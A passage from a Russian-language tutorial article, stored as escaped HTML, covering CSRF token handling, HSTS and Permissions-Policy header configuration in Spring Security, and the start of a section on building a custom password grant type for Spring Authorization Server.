\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u043e \u0432 <code>X-CSRF-TOKEN<\/code> \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435 \u0442\u043e\u043a\u0435\u043d, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u0438\u0437 cookie. \u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0432 <a href=\"https:\/\/github.com\/dlabs71\/spring-authorization-server-example\/blob\/chapter-5.2\/j-sso\/client\/src\/global\/plugins\/axios-plugin.js\" rel=\"noopener noreferrer nofollow\">\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f<\/a>.<\/p>\n<p>\u041d\u0430 \u044d\u0442\u043e\u043c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 CSRF \u0430\u0442\u0430\u043a \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0430. \u0417\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u0435 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 <code>csrf-example<\/code> \u0438 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0439\u0442\u0435 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u0430\u0442\u0430\u043a\u0443, \u043a\u0430\u043a \u044d\u0442\u043e \u043c\u044b \u0434\u0435\u043b\u0430\u043b\u0438 \u0447\u0443\u0442\u044c \u0432\u044b\u0448\u0435. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0432\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0435 403 \u043e\u0448\u0438\u0431\u043a\u0443, \u0438 \u043f\u0440\u0430\u0432\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435 \u0431\u0443\u0434\u0443\u0442 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u044b \u043d\u0430 email \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430. \u041f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u0443\u044e \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0432 \u0432\u0435\u0442\u043a\u0435 <a href=\"https:\/\/github.com\/dlabs71\/spring-authorization-server-example\/tree\/chapter-5.2\" rel=\"noopener noreferrer nofollow\"><code>chapter-5.2<\/code><\/a>.<\/p>\n<p>\u0421\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0445\u043e\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u044b \u043d\u0435 \u0445\u0440\u0430\u043d\u0438\u043c CSRF \u0442\u043e\u043a\u0435\u043d\u044b \u0432 Redis, \u043e\u043d\u0438 \u0442\u0430\u043c \u0445\u0440\u0430\u043d\u044f\u0442\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0441\u0435\u0441\u0441\u0438\u0435\u0439. \u042d\u0442\u043e \u0432\u0430\u0436\u043d\u043e \u043f\u043e\u043d\u0438\u043c\u0430\u0442\u044c, \u043a\u043e\u0433\u0434\u0430 \u0432\u044b \u0431\u0443\u0434\u0435\u0442\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0432 \u043c\u043d\u043e\u0433\u043e\u043d\u043e\u0434\u043d\u043e\u043c \u0440\u0435\u0436\u0438\u043c\u0435. \u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u043e\u0439 \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0441\u0435\u0441\u0441\u0438\u0438 \u0432 Redis \u043c\u044b \u0437\u0430\u043d\u0438\u043c\u0430\u043b\u0438\u0441\u044c \u0432 <a href=\"https:\/\/habr.com\/ru\/articles\/748584\/\" rel=\"noopener noreferrer nofollow\">\u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435<\/a>.<\/p>\n<h4>\u041e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 Security Headers<\/h4>\n<p>\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0447\u0435\u0440\u0435\u0437 Spring Security \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043c\u043d\u043e\u0433\u043e. \u041e\u0431\u043e \u0432\u0441\u0435\u0445 \u043d\u0438\u0445 \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0432 <a href=\"https:\/\/docs.spring.io\/spring-security\/reference\/servlet\/exploits\/headers.html\" rel=\"noopener noreferrer nofollow\">\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438<\/a>. \u041c\u044b \u043d\u0435 \u0431\u0443\u0434\u0435\u043c \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0442\u044c \u0438\u0445 \u0432\u0441\u0435, \u043d\u043e \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0441\u0430\u043c\u044b\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435.<\/p>\n<h3>Strict-Transport-Security<\/h3>\n<p>\u0414\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a \u043f\u043e \u0442\u0438\u043f\u0443 <a href=\"https:\/\/en.wikipedia.org\/wiki\/Man-in-the-middle_attack\" rel=\"noopener noreferrer nofollow\">&#171;Man-in-the-Middle&#187;<\/a>, \u043f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u043f\u0440\u043e\u0438\u0437\u043e\u0439\u0434\u0451\u0442 \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0441 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0433\u043e HTTP \u043d\u0430 \u0437\u0430\u0449\u0438\u0449\u0451\u043d\u043d\u044b\u0439 HTTPS. \u0414\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u0440\u0430\u0437\u0443 HTTPS \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u0430\u0439\u0442\u0443 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438. \u0422\u043e \u0435\u0441\u0442\u044c \u043f\u0440\u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0435 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a \u0441\u0430\u0439\u0442\u0443 \u0447\u0435\u0440\u0435\u0437 HTTP \u0431\u0440\u0430\u0443\u0437\u0435\u0440 \u0441\u0440\u0430\u0437\u0443 \u043a\u043e\u043d\u0432\u0435\u0440\u0442\u0438\u0440\u0443\u0435\u0442 HTTP \u0432 HTTPS.<\/p>\n<p>\u041d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0435\u0433\u043e \u0447\u0435\u0440\u0435\u0437 Spring Security \u043c\u043e\u0436\u043d\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:<\/p>\n<p><code><strong>SecurityConfig.java<\/strong><\/code><\/p>\n<pre><code class=\"java\">public class SecurityConfig {     \/\/ ....      @Bean     public SecurityFilterChain defaultSecurityFilterChain(HttpSecurity http) throws Exception {         \/\/ ....         http.headers(customizer -> {             customizer.contentSecurityPolicy(                     configurer -> configurer.policyDirectives(securityHeaderProperties.getCSPLikeString())             );              \/\/ \u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 X-Frame-Options             customizer.frameOptions(HeadersConfigurer.FrameOptionsConfig::deny);              \/\/ \u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 Strict-Transport-Security             customizer.httpStrictTransportSecurity(configurer -> configurer                     \/\/ \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u043c \u043a\u0430\u043a\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c HTTPS \u0441\u0440\u0430\u0437\u0443                     .maxAgeInSeconds(securityHeaderProperties.getHsts().getMaxAge())                     \/\/ \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0442\u044c \u043b\u0438 \u0442\u0435 \u0436\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0434\u043b\u044f \u043f\u043e\u0434\u0434\u043e\u043c\u0435\u043d\u043e\u0432                     .includeSubDomains(securityHeaderProperties.getHsts().getIncludeSubDomains())                     \/\/ \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043b\u0438 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 (https:\/\/hstspreload.org\/)                     .preload(securityHeaderProperties.getHsts().getPreload())             );         });     } } <\/code><\/pre>\n<p>\u0421\u0430\u043c\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0430\u044f \u0434\u0438\u0440\u0435\u043a\u0442\u0438\u0432\u0430 \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 &#8212; \u044d\u0442\u043e <code>preload<\/code>. \u041e\u043d\u0430 \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0443 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u0434\u043e\u043c\u0435\u043d \u0441\u0430\u0439\u0442\u0430 \u0432 \u0445\u0440\u0430\u043d\u0438\u043c\u043e\u043c \u0441\u043f\u0438\u0441\u043a\u0435 \u0430\u0434\u0440\u0435\u0441\u043e\u0432, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0442\u043e\u043c \u0441\u0440\u0430\u0437\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c HTTPS. \u0411\u043e\u043b\u0435\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0438\u0449\u0438\u0442\u0435 <a href=\"https:\/\/hstspreload.org\/\" rel=\"noopener noreferrer nofollow\">\u0442\u0443\u0442<\/a>.<\/p>\n<h4>Permissions-Policy \u0438 Feature-Policy<\/h4>\n<p>\u041d\u0430\u0447\u043d\u0451\u043c \u0441 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a <code>Feature-Policy<\/code> &#8212; \u044d\u0442\u043e \u0442\u043e \u0436\u0435 \u0441\u0430\u043c\u043e\u0435, \u0447\u0442\u043e \u0438 <code>Permissions-Policy<\/code>. \u0418\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u0431\u044b\u043b <code>Feature-Policy<\/code>, \u0430 \u043f\u043e\u0442\u043e\u043c \u0435\u0433\u043e \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043b\u0438 \u0432 <code>Permissions-Policy<\/code>. \u041d\u043e \u0441\u0442\u043e\u0438\u0442 \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c, \u0447\u0442\u043e \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a <code>Feature-Policy<\/code> \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 Chrome 60+ \u0438 Edge 79+ (<a href=\"https:\/\/w3c.github.io\/webappsec-permissions-policy\/#permissions-policy-http-header-field\" rel=\"noopener noreferrer nofollow\">\u0441\u043c\u043e\u0442\u0440\u0438 \u0442\u0443\u0442<\/a>). \u0410 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a <code>Permissions-Policy<\/code> \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 Chrome 88+, Edge 88+ \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430\u0445 (<a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/HTTP\/Headers\/Permissions-Policy#browser_compatibility\" rel=\"noopener noreferrer nofollow\">\u0441\u043c\u043e\u0442\u0440\u0438 \u0442\u0443\u0442<\/a>). \u041f\u043e\u044d\u0442\u043e\u043c\u0443, \u0435\u0441\u043b\u0438 \u0432\u044b \u0445\u043e\u0442\u0438\u0442\u0435 \u043f\u043e\u043a\u0440\u044b\u0442\u044c \u0432\u0441\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u044b \u0438 \u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0438, \u0432\u0430\u043c \u0441\u0442\u043e\u0438\u0442 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u043e\u0431\u0430 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430. \u0415\u0441\u043b\u0438 \u0436\u0435 \u0443 \u0432\u0430\u0441 \u0442\u0430\u043a\u043e\u0439 \u0446\u0435\u043b\u0438 \u043d\u0435\u0442, \u0442\u043e \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a <code>Permissions-Policy<\/code>.<\/p>\n<p><code>Permissions-Policy<\/code> &#8212; \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u0442\u044c \u0438\u043b\u0438 \u0437\u0430\u043f\u0440\u0435\u0442\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 API \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430. \u042d\u0442\u043e \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0441\u0430\u0439\u0442, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432\u0441\u0435 <code>&lt;iframe><\/code> \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c API \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u043d\u043e \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0434\u0430\u043d\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c.<\/p>\n<p>\u0414\u0438\u0440\u0435\u043a\u0442\u0438\u0432 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 \u043e\u0447\u0435\u043d\u044c \u043c\u043d\u043e\u0433\u043e. \u0412\u0441\u0435 \u0438\u0445 \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u043d\u0430\u0439\u0442\u0438 \u0432 \u044d\u0442\u043e\u0439 <a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/HTTP\/Headers\/Permissions-Policy#directives\" rel=\"noopener noreferrer nofollow\">\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438<\/a>. \u0414\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u043d\u0430\u0448\u0435\u0433\u043e SSO \u043f\u043e\u043a\u0430 \u043d\u0438\u043a\u0430\u043a\u043e\u0435 API \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u043e\u0441\u0442\u043e \u0432\u044b\u043a\u043b\u044e\u0447\u0438\u043c \u0432\u0441\u0451:<\/p>\n<p><code><strong>application.yml<\/strong><\/code><\/p>\n<pre><code class=\"yaml\">spring:     security:         headers:             # .......             permission-policy:                 - picture-in-picture=()                 - accelerometer=()                 - autoplay=()                 - battery=()                 - camera=()                 - display-capture=()                 - geolocation=()                 - gyroscope=()                 - magnetometer=()                 - microphone=()                 - midi=()                 - payment=()                 - picture-in-picture=()                 - publickey-credentials-create=()                 - publickey-credentials-get=()                 - screen-wake-lock=()                 - serial=()                 - speaker-selection=()                 - usb=() <\/code><\/pre>\n<p><code><strong>SecurityConfig.java<\/strong><\/code><\/p>\n<pre><code class=\"java\">public class SecurityConfig {     \/\/ ....      @Bean     public SecurityFilterChain defaultSecurityFilterChain(HttpSecurity http) throws Exception {         \/\/ ....         http.headers(customizer -> {             customizer.contentSecurityPolicy(                     configurer -> configurer.policyDirectives(securityHeaderProperties.getCSPLikeString())             );              \/\/ \u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 X-Frame-Options             customizer.frameOptions(HeadersConfigurer.FrameOptionsConfig::deny);              \/\/ \u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 Strict-Transport-Security             customizer.httpStrictTransportSecurity(configurer -> configurer                     \/\/ \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u043c \u043a\u0430\u043a\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c HTTPS \u0441\u0440\u0430\u0437\u0443                     .maxAgeInSeconds(securityHeaderProperties.getHsts().getMaxAge())                     \/\/ \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0442\u044c \u043b\u0438 \u0442\u0435 \u0436\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0434\u043b\u044f \u043f\u043e\u0434\u0434\u043e\u043c\u0435\u043d\u043e\u0432                     .includeSubDomains(securityHeaderProperties.getHsts().getIncludeSubDomains())                     \/\/ \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043b\u0438 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 (https:\/\/hstspreload.org\/)                     .preload(securityHeaderProperties.getHsts().getPreload())             );              \/\/ \u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 Permissions-Policy             customizer.permissionsPolicy(configurer -> configurer.policy(                     securityHeaderProperties.getPermissionPolicyLikeString()             ));         });     } } <\/code><\/pre>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0435\u0441\u043b\u0438 \u0432\u044b \u0437\u0430\u0445\u043e\u0442\u0438\u0442\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043a\u0430\u043a\u043e\u0435-\u043b\u0438\u0431\u043e API \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430, \u0442\u043e \u0432\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u044d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u0442\u044c \u0432 \u0434\u0430\u043d\u043d\u043e\u043c \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435. \u0412 \u0438\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0432\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0435 \u043e\u0448\u0438\u0431\u043a\u0443 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0443\u044e \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043d\u0438\u0436\u0435:<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/post_images\/6ac\/7b0\/140\/6ac7b01408fe5bea1c8e5f9776dc59a5.png\" alt=\"\u041e\u0448\u0438\u0431\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a API \u0433\u0435\u043e\u043b\u043e\u043a\u0430\u0446\u0438\u0438\" title=\"\u041e\u0448\u0438\u0431\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a API \u0433\u0435\u043e\u043b\u043e\u043a\u0430\u0446\u0438\u0438\" width=\"1200\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/post_images\/6ac\/7b0\/140\/6ac7b01408fe5bea1c8e5f9776dc59a5.png\"\/><\/p>\n<div><figcaption>\u041e\u0448\u0438\u0431\u043a\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a API \u0433\u0435\u043e\u043b\u043e\u043a\u0430\u0446\u0438\u0438<\/figcaption><\/div>\n<\/figure>\n<blockquote>\n<p>\u0418\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0438 \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u0441\u043c\u043e\u0442\u0440\u0438\u0442\u0435 <a href=\"https:\/\/github.com\/dlabs71\/spring-authorization-server-example\/tree\/chapter-5.2\" rel=\"noopener noreferrer nofollow\">\u0437\u0434\u0435\u0441\u044c<\/a>.<\/p>\n<\/blockquote>\n<h3>\u0420\u0430\u0437\u0434\u0435\u043b 5.3. \u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e grant type.<\/h3>\n<p>\u0412 \u0434\u0430\u043d\u043d\u043e\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u0435 \u0440\u0435\u0447\u044c \u043f\u043e\u0439\u0434\u0451\u0442 \u043f\u0440\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e grant type. \u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u043c\u0435\u043d\u044f \u043f\u0440\u043e\u0441\u0438\u043b\u0438 \u0432 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f\u0445 \u043a \u043f\u0440\u043e\u0448\u043b\u044b\u043c \u0441\u0442\u0430\u0442\u044c\u044f\u043c \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u043a\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043c\u043e\u0436\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0443\u043f\u0440\u0430\u0437\u0434\u043d\u0451\u043d\u043d\u044b\u0439 password grant type.<\/p>\n<p>\u041d\u0430\u043f\u043e\u043c\u043d\u044e, <code>spring-security-oauth2-authorization-server<\/code> \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b OAuth2.1, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0431\u044b\u043b\u0430 \u0443\u0431\u0440\u0430\u043d\u0430 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0430 <a href=\"https:\/\/oauth.net\/2\/grant-types\/password\/\" rel=\"noopener noreferrer nofollow\">Resource Owner Password Credentials<\/a>. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043b\u0443\u0447\u0448\u0435 \u043f\u043e\u043c\u0435\u043d\u044f\u0442\u044c \u043f\u043e\u0434\u0445\u043e\u0434\u044b \u0438 \u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u044c <a href=\"https:\/\/datatracker.ietf.org\/doc\/html\/draft-ietf-oauth-v2-1-10\" rel=\"noopener noreferrer nofollow\">\u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 OAuth2.1<\/a>.<\/p>\n<p>\u041d\u043e \u0438\u043d\u043e\u0433\u0434\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0441 \u0432\u044b\u0441\u043e\u043a\u0438\u043c \u0443\u0440\u043e\u0432\u043d\u0435\u043c \u0434\u043e\u0432\u0435\u0440\u0438\u044f \u0434\u0440\u0443\u0433 \u043a \u0434\u0440\u0443\u0433\u0443 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c password grant type \u0438\u043b\u0438 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b. \u0425\u043e\u0442\u044f \u044d\u0442\u043e \u043d\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0438 \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u043f\u043e\u0434\u0445\u043e\u0434 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c password grant type \u0432 \u043f\u043e\u043b\u044c\u0437\u0443 authorization code flow, \u043c\u044b \u0432 \u0446\u0435\u043b\u044f\u0445 \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e grant type \u0432\u043e\u0441\u0441\u043e\u0437\u0434\u0430\u0434\u0438\u043c ROPC.<\/p>\n<p>\u041f\u0435\u0440\u0432\u043e\u0435, \u0447\u0442\u043e \u043c\u044b \u0441\u0434\u0435\u043b\u0430\u0435\u043c, 